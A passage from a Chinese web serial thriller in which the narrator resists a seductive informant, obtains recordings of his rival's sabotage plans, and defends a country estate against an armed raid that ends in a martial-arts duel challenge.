在这个时间点,以这种方式出现,巧得让我不得不怀疑。
但如果是司徒飞的人,柳媚笙怎么会没察觉?她们认识好几年,如果叶倾城有问题,柳媚笙应该能看出来。
除非……叶倾城隐藏得太深。
或者,柳媚笙也被她骗了。
我坐起来,打开电脑,给周大伟发了条加密信息:“你给我查一个人,叶倾城,女,三十岁左右,做艺术品投资,刚从国外回国,重点查她和司徒家有没有关联,特别是和司徒飞!”
几分钟后,回复来了:“收到!凡哥实验室那边有新情况,对面写字楼的观察点撤了,但后巷的快递车还在,车里的人增加到了四个。”
“撤了?”
“对,下午五点前后陆续离开的,走得很匆忙。”
我皱眉。
黑豹在玩什么花样?在发布会前一天,撤掉观察点,却加强后巷的力量……
我忽然想到一个问题,那就是黑豹的目标不是司徒晴的实验室?他安排的所有观察点,难道说都是个幌子,那他真的目标在什么地方呢?
我马上给司徒晴打电话,询问她实验室那边的状况。
“实验室那边怎么样?”我问。
“一切正常。”司徒晴说道:“设备调试完了,直播团队在测试网络,安保也到位了,就是太安静了,安静得有点诡异。”
“你今晚别住实验室了,回净水山庄。”
“为什么?我本来也没打算住这儿……”
“现在就走。”我打断她:“别开车,坐我们安排的车,走地下车库的备用通道,我安排人护送你。”
挂了电话,我走到窗边,看着外面璀璨的夜景。
这座城市像一头沉睡的巨兽,表面平静,底下暗流汹涌,而我现在能做的,就是握紧手里的刀。
手机又响了,还是叶倾城。
这次是电话。
我犹豫了一下,接通。
“陈总。”她的声音从听筒传来,背景音很安静,像是在室内。
“抱歉这么晚打扰你,但我刚收到一个消息,觉得应该告诉你。”
“什么消息?”我问道。
“我在国外的一个朋友,是做私人安保的,他刚才告诉我,有人通过暗网在悬赏你的行踪。”叶倾城顿了顿道:“悬赏金额很高,而且要求很具体,要你明天下午三点到五点之间的实时位置。”
我的心一沉。
明天下午三点,正是发布会直播开始的时间。
“消息可靠吗?”我问道。
“我朋友很可靠。”叶倾城说:“他还说,接单的是一个代号猎虎的团队,他们擅长远程狙击和定点清除,陈总,你明天,有重要的行程吗?”
我没有回答,而是反问:“叶小姐,你为什么要告诉我这些?”
电话那头沉默了一会儿,然后她说:“因为媚笙是我朋友,我不想她难过。”
这个理由,听起来很合理,但越是合理,越让我怀疑。
“谢谢。”我说:“我会注意的。”
“陈总。”她忽然叫住我说道:“我知道你可能不信任我,我们刚认识,而且在这种时候出现,确实很可疑,但我只想说一句,我不是你的敌人。”
223叶倾城的主动!
翌日,我还是抽出时间,选择来见一面叶倾城。
叶倾城的画廊选址在一栋翻新的老建筑里,三层,带一个能看到江边的露台,我到的时候是晚上八点,画廊里正在布展,几幅抽象画靠在墙边,两个工人在调整射灯角度。
她站在一幅巨大的油画前,背对着我,她今天穿的是黑色吊带长裙,裙摆开衩到膝盖以上,露出白皙修长的小腿。她的头发松散地挽着,几缕碎发垂在颈侧,在昏黄的灯光下泛着柔和的光泽。
“陈总你很准时。”她听到脚步声,转过身,手里拿着一杯红酒,问我:“要喝点吗?朋友的酒庄刚送来的波尔多。”
“我开车来的。”我说。
“可以叫代驾,或者……”她走近几步,身上那股冷香更清晰道:“我家就住附近。”
我看着她,没说话,她的言外之意已经非常明显了,叶倾城是想和我更紧一步的发展。
她笑了笑,放下酒杯:“开玩笑的,我带你看看空间?”
我们在一楼走了一圈,空间很大,挑高超过六米,保留着原有的欧式立柱和雕花天花板,但墙面和地面都做了现代化的处理,叶倾城边走边介绍她的设计理念,声音在空旷的大厅里轻轻回荡。
“这里会是主展厅,主要陈列当代绘画。”她指着西侧的墙面,道:“那边会隔出一个影像艺术区,二楼是雕塑和装置,三楼是贵宾室和我的办公室。”
“投资不小。”我说。
“艺术品是长线投资。”她转身看我,她的眼睛在灯光下像两潭深水:“就像人一样,值得的,总需要时间和耐心。”
我微微一笑,当然懂得她的话里有话。
我们走上旋转楼梯,来到三楼,这里比楼下私密得多,铺着厚厚的地毯,墙上是丝质壁纸,靠窗的位置摆着一组沙发和茶几。露台的门开着,夜风吹进来,带着江水的潮湿气息。
“坐。”叶倾城示意我坐下,然后走到一个小吧台后面:“真不喝点?我这儿有不错的威士忌。”
“那就威士忌吧。”我笑着说道。
她倒了两杯,加冰,递给我一杯。
我们在沙发上坐下,距离不远不近。她跷起腿,裙摆滑到大腿中部,灯光在她皮肤上投下暧昧的阴影。
“昨天电话里说的那件事,”我抿了一口酒问到:“有更多信息吗?”
她晃着酒杯说道:“我朋友只查到他们接了单,目标是获取你明天下午的行踪,不知道具体的雇主,但能在暗网发出这种悬赏的,肯定不会是小角色。”
“你怎么知道暗网的事?”我问。
她笑了:“陈总,艺术品行业没那么光鲜,真品、赝品、走私、洗钱……想在这个圈子活下去,得知道水有多深。”
“所以你朋友……”
“他在灰色地带讨生活。”叶倾城很坦然道:“帮人解决麻烦,也帮人获取信息,我画廊刚开的时候,有人想用假画坑我,是他帮我查清底细,避免了损失。”
“听起来像是危险的朋友。”我笑着说。
“但也很有用,不是吗?”她看着我:“就像你现在需要的信息。”
“叶小姐,”我放下酒杯:“我们还是打开天窗说亮话吧。你接近我,到底想要什么?”
听到我的话,她脸上的笑容淡了一些,但没有消失。
叶倾城站起身,走到露台边,背对着我,夜风吹起她的裙摆和发丝,从后面看,她的背影单薄又倔强。
“如果我说,我只是想帮你呢?”
“理由不够。”我说道。
她转过身,靠在栏杆上:“那如果我说,我恨司徒家呢?”
我一愣,问道:“你和司徒家有仇?”
“十二年前,我父亲的公司和司徒雄竞标同一个项目,我父亲的技术方案更好,报价更低,他本该中标,但司徒雄找到了我父亲的软肋,我母亲当时重病,需要一笔天价医疗费,司徒雄承诺,只要我父亲退出,就借他那笔钱。”
她顿了顿,喝了口酒:“我父亲答应了,他退出竞标,拿到了钱,治好了我母亲,但三个月后,司徒雄的项目出了问题,造成重大安全事故,死了三个人。他栽赃给我父亲,说是用了我们公司的劣质材料。”
“然后呢?”我问道。
“我父亲被调查,公司破产,资产冻结。”叶倾城的声音开始颤抖,道:“他受不了打击,从公司楼顶跳了下去。我母亲第二年也走了,说是并发症,但我知道,她是心碎而死的。”
叶倾城走回沙发,坐在我对面,她眼睛里有水光,但没流下来:“那年我二十岁,在法国留学,突然之间,家没了,父母都没了,我用了七年时间,才勉强站起来。”
“所以你想复仇?”我追问到。
“可以这么说,我想拿回属于我父亲的东西,尊严,名声,还有他被夺走的一切,但司徒家太大了,我一个人做不到,所以我需要盟友。”
“所以选择了我?”
叶倾城点了点头,她不在隐瞒什么,而是直接说道:“媚笙跟我说你的事时,我就知道你是最合适的人选。”
她故意身体前倾靠近我,我能闻到她呼吸里的酒香,“你有能力,有资源,更重要的是,你也有必须赢的理由。”
我们离的很近,近到我能看清她睫毛的颤动,我能感受到她呼吸的温度,她的眼睛像漩涡,似乎要把我吸进去。
“陈凡。”她第一次叫我的名字,声音很轻,“我可以帮你,我手里的人脉,都可以给你,我只有一个条件……”
“什么条件?”我问。
“让我参与进来。”她说:“让我亲眼看着司徒家倒台。”
我没有立刻回答,而是在打量着叶倾城,她的故事听起来很完整,动机也很合理,但越是完美,越让我警惕,在商场上这么多年,我见过太多精心编造的谎言,每一个都天衣无缝。
“我需要时间考虑。”我说。
“当然。”她靠回沙发,像是故意拉开我们的距离,她说道:“毕竟我们才认识两天,你谨慎是对的。”
她看了看表:“时间不早了,我送你下去?”
“不用,我自己走。”我说道。
我起身,她跟着站起来,走到门口时,她忽然拉住我的手。
她的手很软,很凉。
“陈凡……”她抬头看我,似乎有什么话要对我说:“算了,路上小心。”
夜风吹过来,带着凉意。我走到车边,没有立刻上车,而是点了支烟,看着画廊三楼亮着的灯光。
窗户边,叶倾城站在那里,隔着玻璃看着我。距离很远,看不清表情。
我掐灭烟,上车离开。
回到酒店,已经是晚上十一点。我洗了个澡,躺在床上,脑子里反复回放今晚的对话。
叶倾城的故事。
她的眼睛。
她的手。
还有那种若即若离的诱惑。
忽然手机震动,是周大伟发来的加密文件,关于叶倾城的背景调查。
我打开信息,然后快速浏览。
叶倾城,三十一岁,上城出生,十八岁去留学,毕业于巴黎高等商学院,父亲叶文山,曾经营一家建材公司,十二年前破产跳楼,母亲赵雅琴,次年病逝,这些和她说的都对得上。
她在巴黎期间,确实经营一家画廊,画廊经营状况良好,但三年前有过一次财务危机,差点倒闭,后来神秘注资渡过难关,注资方是一个注册在开曼群岛的离岸公司,实际控制人查不到。
她三个月前回国,开始筹备上海画廊,社交圈很广,但都是泛泛之交,没有特别亲密的朋友,除了柳媚笙。
看起来没什么问题。
但正是这种“没什么问题”,让我觉得有问题。
太干净了。
一个父母双亡、独自在异国他乡打拼七年的女人,一个在艺术品这个鱼龙混杂的行业里生存下来的女人,背景怎么可能这么干净?
要么是她隐藏得太好。
要么是有人帮她隐藏。
我正想着,手机响了。是叶倾城。
“陈凡,”她的声音从听筒传来,背景音很安静,“你安全到家了吗?”
“到了。”
“那就好。”她顿了顿,“我……我刚才想起一件事,觉得应该告诉你……”
224叶倾城的温柔!
“什么事?”我问。
“我朋友查到猎虎团队在上城的联络人,叫阿峰,他在闸北区开一家修车厂,表面做正经生意,实际是中介。”叶倾城说到。
“地址有吗?”我问。
“有,我发给你,但我建议你不要轻举妄动,阿峰这种人,肯定有防备,打草惊蛇反而不好。”叶倾城道。
“我知道。”我说道:“你把地址给我,我会处理。”
“好,那你要小心。”她的声音很温柔道:“我真的不想看到你出事。”
我挂上电话,几分钟后,叶倾城发来了一个地址:兴旺修车厂。
我把地址发给了周大伟,让他派人去盯着。
我吩咐下去后,叶倾城她的这个消息,会不会是陷阱。
就在我思考的时候,我的手机又响了,这次是司徒晴发来的消息。
“陈凡,实验室的网络刚刚被攻击了。”她声音紧张的说道。
“什么情况?”我惊讶道。
“我们遭到了分布式拒绝服务攻击,差点把我们的服务器冲垮,好在王工的网络安全团队及时拦截了,攻击持续了二十分钟,现在停了。”
“能查到来源吗?”我问。
“查到了,但都是傀儡机,真实IP被层层跳转,最后消失在境外。”司徒晴顿了顿,道:“攻击的时间点很微妙,刚好是我们做最后一次全系统测试的时候。”
“这是有人故意的,有人在试探我们的防御能力。”我说道。
“我也是这么想的。”她的声音更紧了,道:“陈凡,我有点担心,如果明天直播时再来一次,哪怕只是几分钟的卡顿,都会是灾难。”
“王工的团队能搞定吗?”我问。
“他们说可以,但需要更多资源,而且……费用很高。”
“多少钱?”
她说了一个数字。
“批。”我毫不犹豫道:“只要明天直播顺利,花多少钱都值。”
“好。”司徒晴松了口气道:“那我让他们立刻部署。”
“好,尽快进行。”我吩咐道。
“知道了。”司徒晴回答。
挂了电话,我再也睡不着了,我坐在沙发上抽烟。
我的手机的屏幕闪烁着,是叶倾城发来的。
“睡不着,我在想你……”
我看着这行亲密的文字,然后回复道:“早点休息。”
她很快回复我:“我手里有你要的资料……”
我看着她的消息,感觉到这个女人的迫切,她越是这样我就越要去。
不入虎穴焉得虎子,我怎么知道叶倾城在演的什么戏?
“好,地址发我。”
“翠湖天景。”
我收到地址后,穿上衣服,就去开车。
二十分钟后,我到了叶轻尘的家。
电梯直上顶楼,门开时,叶倾城已经站在门口等我了。
她穿着一件酒红色的真丝睡袍,腰带松松地系着,领口开得很低,露出大片雪白的肌肤和精致的锁骨,睡袍下摆只到大腿中部,两条修长笔直的腿裸露在空气中,她赤着脚,脚趾涂着暗红色的指甲油。
叶倾城的头发完全散开,即便是深夜,她的脸上还画了淡妆,眼尾微微晕开,带着慵懒的媚意。
“你来了。”她微笑,侧身让我进去。
我走了进去,她的公寓很大,至少有三百平,装修是简约的现代风格,但细节处透着奢华。
“要喝点什么?”她走向开放式厨房的酒柜,“威士忌?红酒?还是……”
“水就行。”我在沙发上坐下。
她愣了一下,随即笑了:“这么警惕?怕喝酒误事?”
“习惯了。”我说道。
她从冰箱里拿了瓶依云,拧开递给我,然后在我对面的单人沙发上坐下,她的睡袍随着动作散开一些,大腿的肌肤在昏黄灯光下泛着温润的光泽。
“资料呢?”我问。
“急什么。”她端起自己的红酒杯,抿了一口:“先聊聊天,这么晚了,你太太不担心吗?”
“她知道我在工作。”
“工作。”叶倾城重复这个词,语气里有一丝玩味,道:“深夜独自赴约单身女性的公寓,这也是工作的一部分?”
我看着她,没说话。
她放下酒杯,身体前倾,手肘撑在膝盖上。这个姿势让睡袍的领口敞开更多,里面黑色蕾丝的边缘若隐若现。
“陈凡,我们别兜圈子了,我知道你不信任我,我也知道我的出现很可疑,但我想告诉你,我对你是认真的。”
“认真什么?”我反问道。
“认真的想帮你,也认真的……”她顿了顿,眼神变得柔软:“被你吸引。”
屋子里的空气安静了一些,客厅里只能听见我们两个人的呼吸声。
“叶小姐,你很美,也很有魅力,但我不相信巧合,更不相信一见钟情。”
她笑了,但那笑容里有一丝苦涩道:“你认为我是司徒飞派来的?”
“我没这么说。”我说道。
“但你这么想了。”她站起身,走到落地窗前,背对着我,睡袍的布料很薄,在逆光下几乎透明,勾勒出她窈窕的身形轮廓。
“我知道你查过我。”她的声音很轻道:“我父亲的死,我母亲的病,我在巴黎的七年,你都知道了,对吗?”
“对。”我直接点头。
“那你应该明白,我有多恨司徒家。”她转过身,眼睛里蒙上一层水汽:“十二年了,我每天都在想怎么让他们付出代价,但我一个人做不到,我需要有人帮我。”
“所以选择我?”
我心想,这是美人计不成,就来苦肉计了?
“因为你和他们也有仇,而且你有能力赢。”她走回来,在沙发扶手上坐下,距离我很近,近到能闻到她身上的香水味和红酒的醇香。
“陈凡,我不是在利用你,我是在投靠你。”
她伸出手,指尖轻轻划过我的手臂。
“我可以给你一切。”她的声音压得更低,几乎是在耳语,“我的情报网,我在国内的资源,还有我这个人。”
她的手指滑到我的手腕,然后慢慢上移,到小臂,到手肘。
我握住她的手。
她的手在我掌心里微微颤抖。
“叶小姐,如果你真的想帮我,就把我想要的资料给我,其他的,等这一切结束了再说。”
她的表情僵了一下,然后慢慢收回手,站起身。
“资料在书房,我去拿。”
她离开客厅,走向里面的房间。
我趁这个机会快速扫视周围,客厅很整洁,几乎没有个人物品,茶几上有两本艺术画册,一个烟灰缸,里面有几个烟蒂,酒柜里的酒都是高档货,但摆放得很整齐,像是展示品而不是真的常喝。
不对劲。
一个独居女性的公寓,不该这么整洁,这么……没有人气。
几分钟后,叶倾城回来了,手里拿着一个牛皮纸袋。
“这里面是阿峰的详细资料,包括他的真实姓名、住址、常用联系方式,还有他过去三年接过的单子记录。”她把纸袋递给我。
“我朋友费了很大劲才弄到的。”
我接过牛皮纸袋,打开后里面确实有几十页资料,有照片,有文字记录,甚至还有几段通话录音的文字稿,内容很详细,看起来很真实。
但越是真实,我越怀疑。
“你怎么拿到这些的?”我问。
“我说了,我有我的渠道。”她又坐回我身边,这次距离更近,腿几乎贴着我的腿:“陈凡,我知道你还在怀疑我,但我愿意等,等到你相信我的那天。”
她的手又伸过来,这次直接搭在我的大腿上。
“今晚留下吧。”她的声音柔得像水:“天快亮了,你也累了,客房已经准备好了,或者……”
225叶倾城的坦白!
叶倾城的手,慢慢的向我的身上攀岩,她细声细语:“你可以睡我的房间……”
她的声音妩媚动人,说起话来及其的好听。
可现在,我却保持清醒,她到底是什么动机,我还没有搞清楚。
我握住她的手,阻止她继续动作。
“叶小姐,”我看着她的眼睛,拒绝道:“你很美,但抱歉。”
她的表情终于变了,那种柔媚和诱惑瞬间褪去,取而代之的是一种冰冷的审视。
“为什么?”她问:“我不够吸引你?还是你心里只有柳媚笙和夏颜?”
“这和她们无关。”我放开她的手,站起身道:“只是我知道,有些便宜不能占,因为代价往往比看起来大得多。”
她盯着我,几秒钟后,忽然笑了。
那笑容和之前完全不同,她不再柔媚,不再脆弱,而是带着一种嘲讽的笑容。
“陈凡,你比我想象的聪明。”她也站起来,睡袍的腰带松了,但她毫不在意道:“但人有时候太聪明,也不是好事。”
“终于不演了?”我问。
“演累了。”她走到酒柜前,重新倒了杯酒,这次倒的很满:“没错,我是司徒飞的人,或者说,曾经是。”
“曾经?”我眉毛一挑问道。
“三年前我在巴黎画廊快倒闭的时候,是他的人找到我,说可以帮我。”她喝了口酒,接着说道:“条件是,我需要的时候,为他们做事,比如接近某个目标,获取信任,最后获取信息。”
“所以你接近我是任务?”我问。
“一开始是。”她转过身,靠在酒柜上,随口道:“司徒飞知道柳媚笙是我朋友,所以让我从她入手,接近你,取得你的信任,最好能成为你的情人,这样就能随时掌握你的动向,还能在关键时刻影响你的判断。”
“那为什么告诉我这些?”我倒是对叶倾城产生了好奇。
“因为我改主意了。”她直视着我:“我在见到你之前,我以为你和其他男人一样,有点钱,有点势,膨胀自大,很容易被美色迷惑,但接触下来,你显然不是。”
“你不只是聪明,你更多的是清醒,你清醒的可怕,清醒到即使我这样站在你面前,你也能保持理智,保持判断,这样的人,司徒飞赢不了。”
“所以你想换边?”我笑着问,语气里带着一丝的嘲讽。
“我想活。”她放下酒杯:“司徒飞已经疯了,他为了赢,什么都做得出来,我帮他做事三年,知道太多秘密,等你没用了,下一个被清理的就是我。”
“那你现在告诉我这些,不怕我杀了你?”我问。
“你不会。”她摇头道:“你不是那种人,而且,我手里有你需要的东西。”
“比如?”我开始了好奇。
既然叶倾城和我说了实话,那她刚才给自己说的设定,就都是谎言。
“比如司徒飞下一步的全部计划。”她走回沙发,从茶几抽屉里拿出一个U盘:“这里面有他过去一周的所有通话录音、邮件往来、会议记录,包括他雇佣黑豹的详细指令,还有他准备在明天发布会上动手的具体方案。”
叶倾城将U盘递给了我,我反问:“我怎么相信这是真的?”
“你可以现在就看。”她说道:“书房有电脑,没有联网,绝对安全。”
我接过U盘,走进书房,电脑确实没有联网,我插入U盘,里面是几十个音频文件和文档。
我点开最新的一个音频文件,时间是今天下午三点。
司徒飞的声音传出来:“明天下午三点,我要看到直播中断,不管用什么方法,我要‘晴空科技’在所有人面前出丑,钱不是问题,但必须干净,不能留下把柄。”
另一个声音,应该是黑豹:“实验室的安保很严,硬闯风险太大。但他们的网络是弱点,我们可以用DDoS攻击冲垮服务器,至少能瘫痪十五分钟。”
“十五分钟不够。”司徒飞说:“我要至少半小时,最好能彻底毁掉他们的设备。”
“那就只能用炸药了,微型定向爆破,剂量控制在只破坏主要设备,不伤建筑结构,但需要人提前安装,风险很高。”
“去做!明天上午十点前必须安装到位!我给你三倍的钱!”
录音结束。
我又点开几个文件,都是类似的对话,有关于柳媚笙酒吧的,有关于林薇儿绯闻的,甚至还有……关于夏颜的。
“这些录音,你怎么拿到的?”我转头问叶倾城。
她靠在书房门口:“我在他常去的几个地方装了窃听器。有些是微型录音笔,有些是改装过的电子设备,他太自信,从来不检查。”
“为什么现在才拿出来?”我步步紧逼,我当然怀疑叶倾城。
像这种半路杀出来,说要做我的女人的人,我怎么可能轻易相信。
“因为之前我不知道该相信谁。”她走进来,在书桌对面坐下道:“但现在我知道了。陈凡,我可以帮你扳倒司徒飞,但我要两个保证。”
“说。”我终于听到了她想要的。
“第一,扳倒司徒家后,我父亲的案子要重新调查,还他清白,第二,我要司徒飞手里关于我的所有把柄,还有自由。”
“可以。”我说:“但你也要拿出更多诚意。”
“比如?”
“比如现在跟我去一个地方。”我拔出U盘:“把这些证据备份,然后指证司徒飞。”
她脸色变了:“现在?”
“对,现在。”我看着她,“如果你真的想换边,就证明给我看。”
她沉默了很久,然后点头:“好,我换件衣服。”
她离开书房,我趁机给周大伟发了条加密信息:“准备撤离,带人来接,叶倾城可能反水,有重要证据!”
几分钟后,叶倾城回来了,她换了身简单的黑色运动装,头发扎成马尾,脸上没化妆,看起来比刚才真实得多。
“走吧。”她说。
我们下楼,走出别墅,周大伟的车已经等在门口,还有两辆车在不远处待命。
上车后,叶倾城一直很安静,看着窗外飞速后退的街景。
“我们去哪儿?”她问。
“净水山庄。”我说,“那里最安全。”
她点点头,没再说话。
车子驶出市区,开向城郊,凌晨的高速公路很空旷,只有我们几辆车在疾驰。
“陈凡,”叶倾城忽然开口,“你知道司徒飞最大的弱点是什么吗?”
“什么?”我转头问道。
“他太像他父亲了。”她轻声说:“他们一样的傲慢,一样的短视,一样的认为钱和权能解决一切,但他忘了一件事,这个时代,信息比权力更可怕。”
她转过头看我:“你手里的那些佛珠证据,加上我给的这些录音,足够让司徒家永世不能翻身,但你要选对时机,要用对方法。”
“你有什么建议?”我问。
“你手里的证据不要一次性全放出去,最好是分批放,慢慢放,先放些小料,让舆论发酵,让司徒家内部慌乱。等他们开始内斗,开始互相推诿的时候,再放致命的。那时候,不用你动手,他们自己就会撕碎彼此。”
我看着她。
这个女人,刚才还在我面前扮演柔弱的受害者,现在却能冷静地分析如何毁灭一个家族。
到底哪个才是真实的她?
“为什么这么恨他们?”我问。
“我刚才说了,因为我父亲。”
“不止吧。”我说,“你提到司徒飞时的眼神,不只是恨,还有……别的。”
她沉默了,车子里只剩下引擎的轰鸣声。
“三年前,我刚答应为他做事时,他让我去接近一个官员,获取一份文件,那个官员……有特殊癖好。司徒飞知道,但还是让我去。”
她的声音很平静,但手指在微微颤抖。
“我没去,我用其他方法拿到了文件,但代价是……我画廊的注资,其实不是投资,是高利贷,利息高到我必须一直为他做事,才能勉强维持。这三年,我帮他做了七件事,每一件都让我觉得自己更脏一点。”
她深吸一口气:“所以现在,我要洗干净,用司徒家的血。”
车子驶入净水山庄,我们下车,走进主楼。司徒晴已经在那里等着了,看到叶倾城,她愣了一下。
“这是叶倾城,”我简单介绍:“她有司徒飞的重要证据。从今天起,她住在这里,直到一切结束。”
司徒晴点点头,没多问。
我把U盘交给周大伟:“立刻备份,分析所有内容,重点找出明天发布会的破坏计划,我们要提前应对。”
“明白。”
我看向叶倾城:“你先休息。房间准备好了,有人会保护你。”
“你不怕我跑?”她问。
“你跑不了。”我说,“而且你知道,现在只有我能保护你。”
她看了我几秒,然后笑了。这次的笑容,是真实的疲惫。
“谢谢。”她说,然后跟着工作人员离开。
司徒晴走过来:“她可靠吗?”
“不知道。”我坦白,“但她手里的证据应该是真的。而且,敌人的敌人,就是暂时的朋友。”
“那明天发布会……”
“按计划进行。”我看着窗外渐亮的天色,“但我们要多加几层保险。”
226攻击周家别墅!
静水山庄,早上。
“今天有点反常,这里**静了。”周大伟走过来道:“凡哥,平时这个时间,至少会有三辆车从山庄外经过,可现在,一辆都没有。”
叶倾城站在窗边,透过玻璃看着外面的竹林:“陈凡,司徒飞应该是发现我不见了。”
“什么时候发现的?”我问。
“应该是在凌晨四点左右。”她转身,一脸歉意道:“我住处有定时报平安的暗号,每天凌晨四点要发一条特定内容的信息到指定号码,如果没发,就说明出事了。”
“你没发?”我眉毛一挑。
“我当时在车上,没想到这个,是我的疏忽。”她咬了咬嘴唇:“抱歉,给你添麻烦了。”
司徒晴看了看表:“现在是六点二十,两个多小时,足够司徒飞做出反应了。”
话音刚落,监控屏幕上的画面同时晃动了一下。
“凡哥,有强信号干扰源靠近。”周大伟立刻分析道:“他们在屏蔽我们的通讯和监控,东西南,三个方向,都有,他们这是标准的三面包围,然后只留出一面逼我们往山里跑!”
“然后呢?”司徒晴问。
“然后司徒飞在山里设伏。”叶倾城接话道:“这是她常用的手法,他喜欢把人赶尽杀绝!”
我拿起对讲机,调到加密频段,问道:“各岗哨汇报情况。”
“前门正常,但公路方向有车队靠近,至少八辆车,距离一公里。”
“后山正常,但听到直升机声音,在云层上方盘旋。”
“东墙正常,但红外感应到围墙外有大量热源在移动,人数不明。”
“西墙正常……等等,有无人机!三架,黑色,正在低空侦察!”
我听着对讲机里面汇报的情况,顿时大感不妙,同事触动这么多人,那就说明司徒飞应该是动用了暗卫。
“他们真的敢攻击周家?”司徒飞一脸不信的问道。
“没有司徒飞不敢的,他应该狗急跳墙了!”我冷冷的说道:“把我们手下的人都撤回主楼,然后封闭所有的进出口,启动备用电源,和独立通讯系统,通知外围的兄弟,不要和他们正面冲突,放他们进来。”
“放进来?”司徒晴一愣。
“山庄太大,我们人太少,分散防守只会被逐个击破。”我说道。
叶倾城走到我身边,低声说:“司徒飞不会让司徒晴开发布会的,他会在今天之内解决问题,否则夜长梦多。”
“我知道。”我说,“所以他一定会强攻,而强攻,就会露出破绽。”
在我的布置下,外围的兄弟已经全部撤回,而东西两遍的围墙外面,有人影开始翻进来,他们果然是来了!
“人数!”我问。
“至少有七八十人!”周大伟回答。
“是司徒家的暗卫,司徒飞把家底都搬出来了!”司徒晴指着屏幕说道,她太知道这些暗卫的力量了。
“大伟,告诉手下的兄弟,守好,进来,我们就动手!”
“必须下死手,出了事情,我来承担!”
我向手下人下达了杀这个命令,现在都什么时候了,司徒飞的人都打上家门口了,我无路可退,一旦我退缩,我身后的夏颜和孩子,该如何生存?
生死存亡,没有妇人之仁,有的只是杀戮!
周家的静水庄园,既然能成为我的庇护地,那就说明周叶青平时早有防护安排。
我按下了一个按钮,周家庄园的假山石缝里,顿时喷出了白色的烟雾,这是强效催泪瓦斯和胡椒喷雾,入侵者的速度果然慢了下来,烟雾中,传来了他们的咳嗽声和咒骂声。
但司徒家的暗卫很快适应,他们带上了防毒面具,然后继续前进!
“他们是有备而来!”周大伟说。
“当然,司徒飞为了对付周家,肯定会做过功课!”我说道。
第一队人已经推进到主楼前广场,大约三十人,呈扇形散开,寻找掩体,领头的是个光头壮汉,脸上有道疤,是赵虎本人。
他拿着对讲机在喊话,但我们的通讯屏蔽系统开启,听不到内容,但从口型和动作判断,是在命令手下准备强攻。
“他们要炸门。”周大伟判断。
果然,两个人从背包里拿出爆破装置,开始在大门上安装,手法很专业,选择的位置都是门体结构的薄弱点。
“让他们炸,主楼的正门是三重结构,外面是装饰性的木门,中间是防弹玻璃,里面才是真正的防爆门。炸开第一重,只会进入死亡区。”我说道。<
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br>周大伟点头,开始调整防御部署。
监控画面里,爆破装置安装完毕。所有人退到安全距离,赵虎举起手,倒数。
三、二、一!
“轰!”
**声隔着墙壁传来,整栋楼都在震动。正门的木门被炸得粉碎,烟雾弥漫,但烟尘散去后,入侵者看到的不是通往内部的通道,而是一个三米宽、五米长的过渡空间,尽头是另一道门,银灰色的合金门,厚重得像是银行金库。
赵虎愣住他,额显然没料到这个设计。
“虎哥,这是怎么回事?”
“怎么还有个门?”
手下的人看到眼前的一幕,都惊呆了!
妈的!
赵虎在心里暗骂了一声,他被司徒飞喊来,没想到给安排这个爆破的活,这下是把周家给得罪了,自己也没有退路了。
“虎哥,不是说周家有秘卫么?陈凡也有安保团队,怎么到现在,我们都没有见到人啊!”
“对啊,虎哥,他们是不是有埋伏啊!”
此刻的空门,在赵虎的人眼里,仿佛就是一个巨大的陷阱,他们站在烟雾中,竟然不敢向前迈步。
“我听说,周叶青有个保镖,叫白起,外号杀神!他会不会也在里面,可不要让我遇到……”
赵虎听着手下人窃窃私语,他心里也泛起了嘀咕,难不成,陈凡真在这里设下了埋伏,因为自己觉得从入侵开始,就一路顺利,这太不符合常理了。
忽然,人群里分开一条道,司徒飞走了过来!
他今天穿了身深蓝色的定制西装,头发梳得一丝不苟,脸上挂着标准的商务微笑,如果不是在这个场合,这个时间,看起来就像要去参加某个高端论坛的成功企业家。
他身后跟着两个人,一男一女,都很年轻,穿着普通的运动服,但气质很特别。
男的约莫二十五六岁,身材匀称,不高不矮,皮肤是健康的小麦色,眼神平静的像两潭深水,女的年纪相仿,短发,五官精致,但眉宇间有股英气,站姿挺拔如松。
这两人走路时脚步很轻,几乎听不到声音,呼吸均匀绵长,双手自然下垂,但手指微微蜷曲,随时可以变成致命的武器。
“是古武者!”我在监控前惊讶道!
227危险!
我心中一紧,果然司徒飞留了后手!
赵虎,还有司徒家的暗卫,不过都是掩人耳目,只有这两个古武者,才是真正的杀招!
“陈总,好久不见。”司徒飞走到我面前十米处停下,他对着监控器说道:“听说你这里出了点小麻烦,我特意带人来帮忙,毕竟,咱们也算是老朋友了。”
“帮忙?”我看着他,对着话筒道:“你带着几十个人,还有两个古武者,就这样来帮忙?”
司徒飞冷漠一笑:“陈总误会了,这些人都是我公司的安保人员,至于这两位……”他侧身介绍:“他们是我的私人保镖,杨青先生和林雪女士,他们只是担心我的安全,跟过来看看。”
“司徒飞,你带人来净水庄园,你什么意思?”我在监控里看着他问道。
“很简单……”司徒飞双手一摊,道:“一对一,徒手格斗,你赢了,我们就走,你输了的话,你就给我滚出上城,然后交出龙三的佛珠,还有把司徒晴和叶倾城留下来给我处置!”
他竟然将我所有的底牌,都掀开了!
那他就是有备而来!
司徒晴和叶倾城同时紧张了起来,他们知道,如果自己一旦落入了司徒飞的手里,会是什么下场。
司徒飞对于“叛徒”可是不会手软的!
“怎么,陈凡,你怕了?不敢了?”司徒飞故意激我道:“还是说,你陈凡喜欢背后玩阴的,不敢正大光明的站出来?”
“好。”我说道:“既然你有这个雅兴,我奉陪!”
“陈凡,你不能去!”
司徒飞忽然拉住了我的胳膊,就连叶倾城也面露出担心的表情。
“凡哥,我去吧,这些个古武者来者不善!”周大伟自告奋勇的说道。
我都摇了摇头,周大伟的实力不如我,我更不能让他去打擂台,更何况,我也不可能输,如果输了,就意味着失去了一切。
虽然夏颜不在这栋楼里,可后面,就是她和孩子住的别墅。
我绝对不可以后退!
我走下了楼梯,走出了别墅,面对面的看着司徒飞。
司徒飞嘴角不屑一笑,然后对着杨青说道:“杨师傅,那就麻烦你了!”
我正要上前,身后传来一个声音:“这种级别的对手,还用不着陈总亲自出手。”
白起从应急出口走出来!
那一瞬间,我的汗**都立起来了!
杀神白起!他竟然来了!
他今天没穿西装,而是身穿一身黑色紧身作战服,当白起出现的那一瞬间,杨青的眼神都变了,他从白起的身上感受到了威胁!
“你是谁?”杨青问。
“白起。”白起走到我身边,目光扫过杨青和林雪,“你们两个,一起上吧。节约时间。”
全场哗然。
一对二?而且还是对两个看起来就不好惹的古武者?
司徒飞眼睛一亮,这是机会,两对一,何止是胜算,简直是胜算他妈给胜算开门,胜算到家了!
